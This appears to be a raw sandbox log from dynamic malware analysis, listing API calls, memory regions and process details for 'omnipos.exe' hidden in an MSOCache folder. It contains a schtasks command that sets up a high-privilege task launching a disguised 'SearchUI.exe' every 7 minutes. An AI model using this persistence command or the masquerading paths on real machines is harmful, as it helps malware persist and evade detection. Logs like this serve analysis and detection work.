[0126.266] GetProcessHeap () returned 0x1fba65f0000 [0126.266] GetProcessHeap () returned 0x1fba65f0000 [0126.266] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4ea0) returned 1 [0126.266] GetProcessHeap () returned 0x1fba65f0000 [0126.266] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4ea0) returned 0x18 [0126.266] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4ea0) returned 1 [0126.266] exit (_Code=0) Thread: id = 179 os_tid = 0x5c0 Process: id = "31" image_name = "omnipos.exe" filename = "c:\\msocache\\all users\\{90160000-0018-0409-1000-0000000ff1ce}-c\\omnipos.exe" page_root = "0x3225c000" os_pid = "0x3e4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x358" cmd_line = "\"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3501 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3502 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3503 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3504 start_va = 0x150000 end_va = 0x153fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 3505 start_va = 0x160000 end_va = 0x161fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3506 start_va = 0x310000 end_va = 0x509fff monitored = 1 entry_point = 0x50131e region_type = mapped_file name = "omnipos.exe" filename = "\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-1000-0000000ff1ce}-c\\omnipos.exe") Region: id = 3507 start_va = 0x600000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 3508 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3509 start_va = 0x7ff5ffcc0000 end_va = 0x7ff5ffce2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ffcc0000" filename = "" Region: id = 3510 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3956 start_va = 0x800000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 3957 start_va = 0x7ffa61fc0000 end_va = 0x7ffa62027fff monitored = 1 entry_point = 0x7ffa61fc4970 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 3958 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3959 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4184 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4185 start_va = 0x7ff5ffbc0000 end_va = 0x7ff5ffcbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ffbc0000" filename = "" Region: id = 4186 start_va = 0x170000 end_va = 0x22dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4187 start_va = 0x230000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 4188 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4189 start_va = 0x7ffa76220000 end_va = 0x7ffa76298fff monitored = 0 entry_point = 0x7ffa7623fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 4190 start_va = 0x7ff5ffb40000 end_va = 0x7ff5ffbbdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 4191 start_va = 0x7ffa7bdd0000 end_va = 0x7ffa7be76fff monitored = 0 entry_point = 0x7ffa7bde58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4192 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4193 start_va = 0x800000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 4194 start_va = 0x9b0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 4195 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4196 start_va = 0x230000 end_va = 0x236fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 4197 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 4198 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4286 start_va = 0xab0000 end_va = 0xc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 4287 start_va = 0x240000 end_va = 0x246fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 4288 start_va = 0x7ffa624c0000 end_va = 0x7ffa6255cfff monitored = 1 entry_point = 0x7ffa624c1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 4340 start_va = 0x7ffa7b220000 end_va = 0x7ffa7b271fff monitored = 0 entry_point = 0x7ffa7b22f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4341 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4342 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 4343 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4344 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4345 start_va = 0x260000 end_va = 0x298fff monitored = 0 entry_point = 0x2612f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4346 start_va = 0xc10000 end_va = 0xd97fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c10000" filename = "" Region: id = 4347 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4348 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 4349 start_va = 0x270000 end_va = 0x270fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 4350 start_va = 0xda0000 end_va = 0xf20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000da0000" filename = "" Region: id = 4351 start_va = 0xf30000 end_va = 0x232ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f30000" filename = "" Region: id = 4352 start_va = 0x2330000 end_va = 0x2522fff monitored = 1 entry_point = 0x252131e region_type = mapped_file name = "omnipos.exe" filename = "\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-1000-0000000ff1ce}-c\\omnipos.exe") Region: id = 4353 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 4354 start_va = 0x7ffa76d30000 end_va = 0x7ffa76d39fff monitored = 0 entry_point = 0x7ffa76d31350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4741 start_va = 0x7ffa5e8d0000 end_va = 0x7ffa5f2b5fff monitored = 1 entry_point = 0x7ffa5e8d5b60 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4742 start_va = 0x7ffa623c0000 end_va = 0x7ffa624b6fff monitored = 0 entry_point = 0x7ffa623e4d80 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\System32\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll") Region: id = 5445 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 5446 start_va = 0x290000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 5447 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 5448 start_va = 0x7ff9ff1c0000 end_va = 0x7ff9ff1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1c0000" filename = "" Region: id = 5449 start_va = 0x7ff9ff1d0000 end_va = 0x7ff9ff1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1d0000" filename = "" Region: id = 6544 start_va = 0x7ff9ff1e0000 end_va = 0x7ff9ff26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1e0000" filename = "" Region: id = 6545 start_va = 0x7ff9ff270000 end_va = 0x7ff9ff2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff270000" filename = "" Region: id = 6546 start_va = 0x2b0000 end_va = 0x2b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 6547 start_va = 0x2c0000 end_va = 0x2c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 6548 start_va = 0x510000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 6549 start_va = 0x580000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 6550 start_va = 0xab0000 end_va = 0xbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 6551 start_va = 0xc00000 end_va = 0xc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 6552 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 6553 start_va = 0x2330000 end_va = 0x1a32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002330000" filename = "" Region: id = 6571 start_va = 0x1a330000 end_va = 0x1a69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a330000" filename = "" Region: id = 6572 start_va = 0x1a6a0000 end_va = 0x1a7a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6a0000" filename = "" Region: id = 6573 start_va = 0x7ffa7a990000 end_va = 0x7ffa7a997fff monitored = 0 entry_point = 0x7ffa7a9910b0 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 6574 start_va = 0x1a7b0000 end_va = 0x1a8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7b0000" filename = "" Region: id = 8756 start_va = 0x1a8b0000 end_va = 0x1a9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8b0000" filename = "" Region: id = 8757 start_va = 0x1a9b0000 end_va = 0x1aaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a9b0000" filename = "" Region: id = 8760 start_va = 0x1aab0000 end_va = 0x1ade6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8761 start_va = 0x7ffa5d3e0000 end_va = 0x7ffa5e8c7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll") Region: id = 9086 start_va = 0x7ffa7b290000 end_va = 0x7ffa7b3d2fff monitored = 0 entry_point = 0x7ffa7b2b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 9172 start_va = 0x800000 end_va = 0x8bffff monitored = 0 entry_point = 0x820da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 9173 start_va = 0x800000 end_va = 0x8dcfff monitored = 0 entry_point = 0x85e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 9948 start_va = 0x7ffa76e20000 end_va = 0x7ffa76eb5fff monitored = 0 entry_point = 0x7ffa76e45570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 9949 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 10011 start_va = 0x7ff5ffb20000 end_va = 0x7ff5ffbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ffb20000" filename = "" Region: id = 10012 start_va = 0x7ff5ffb10000 end_va = 0x7ff5ffb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ffb10000" filename = "" Region: id = 10301 start_va = 0x7ff9ff2e0000 end_va = 0x7ff9ff2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2e0000" filename = "" Region: id = 10302 start_va = 0x7ff9ff2f0000 end_va = 0x7ff9ff2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2f0000" filename = "" Region: id = 10308 start_va = 0x7ff9ff300000 end_va = 0x7ff9ff33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff300000" filename = "" Region: id = 10309 start_va = 0x7ffa621f0000 end_va = 0x7ffa622fdfff monitored = 1 entry_point = 0x7ffa621f1080 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 10310 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 10311 start_va = 0x1adf0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adf0000" filename = "" Region: id = 10317 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 10381 start_va = 0x7ffa5c790000 end_va = 0x7ffa5d3d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\60b77585c8aa9cfd1b30a64092c81041\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\60b77585c8aa9cfd1b30a64092c81041\\system.ni.dll") Region: id = 10394 start_va = 0x7ffa5be00000 end_va = 0x7ffa5c781fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\d1da4b8a843ec63bb8be25f8202bedc1\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\d1da4b8a843ec63bb8be25f8202bedc1\\system.core.ni.dll") Region: id = 10451 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 10452 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 10453 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 10460 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 10461 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 10462 start_va = 0x300000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 10502 start_va = 0x800000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 10524 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 10561 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 10585 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 10586 start_va = 0x300000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 10587 start_va = 0x510000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 10588 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Thread: id = 196 os_tid = 0x46c [0218.854] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0252.065] RoInitialize () returned 0x1 [0252.066] RoUninitialize () returned 0x0 Thread: id = 211 os_tid = 0xc9c Thread: id = 249 os_tid = 0x7b4 Thread: id = 258 os_tid = 0x8f4 [0252.494] CoGetContextToken (in: pToken=0x1a8af350 | out: pToken=0x1a8af350) returned 0x800401f0 [0252.495] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0252.495] RoInitialize () returned 0x1 [0252.495] RoUninitialize () returned 0x0 Thread: id = 330 os_tid = 0x394 Thread: id = 337 os_tid = 0xf2c Thread: id = 365 os_tid = 0xd00 Process: id = "32" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x12a62000" os_pid = "0x8a4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"SearchUIS\" /sc MINUTE /mo 7 /tr \"'C:\\Recovery\\WindowsRE\\SearchUI.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3536 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3537 start_va = 0x4760620000 end_va = 0x476069ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000004760620000" filename = "" Region: id = 3538 start_va = 0x4760800000 end_va = 0x47609fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000004760800000" filename = "" Region: id = 3539 start_va = 0x1769e790000 end_va = 0x1769e7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001769e790000" filename = "" Region: id = 3540 start_va = 0x1769e7b0000 end_va = 0x1769e7c4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001769e7b0000" filename = "" Region: id = 3541 start_va = 0x1769e7d0000 end_va = 0x1769e7d3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001769e7d0000" filename = "" Region: id = 3542 start_va = 0x1769e7e0000 end_va = 0x1769e7e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001769e7e0000" filename = "" Region: id = 3543 start_va = 0x1769e7f0000 end_va = 0x1769e7f1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001769e7f0000" filename = "" Region: id = 3544 start_va = 0x7df5ff6a0000 end_va = 0x7ff5ff69ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff6a0000" filename = "" Region: id = 3545 start_va = 0x7ff684660000 end_va = 0x7ff684682fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684660000" filename = "" Region: id = 3546 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3547 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3548 start_va = 0x1769e800000 end_va = 0x1769ea0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001769e800000" filename = "" Region: id = 3549 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3550 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3551 start_va = 0x1769e790000 end_va = 0x1769e79ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001769e790000" filename = "" Region: id = 3552 start_va = 0x7ff684560000 end_va = 0x7ff68465ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684560000" filename = "" Region: id = 3553 start_va = 0x1769e800000 end_va = 0x1769e8bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3554 start_va = 0x1769e910000 end_va = 0x1769ea0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001769e910000" filename = "" Region: id = 3555 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3556 start_va = 0x47606a0000 end_va = 0x476071ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000047606a0000" filename = "" Region: id = 3557 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3558 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3559 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3560 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3561 start_va = 0x1769ea10000 end_va = 0x1769eaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001769ea10000" filename = "" Region: id = 3562 start_va = 0x1769e7a0000 end_va = 0x1769e7a6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001769e7a0000" filename = "" Region: id = 3563 start_va = 0x1769eaf0000 end_va = 0x1769ec32fff monitored = 0 entry_point = 0x1769eb18210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" 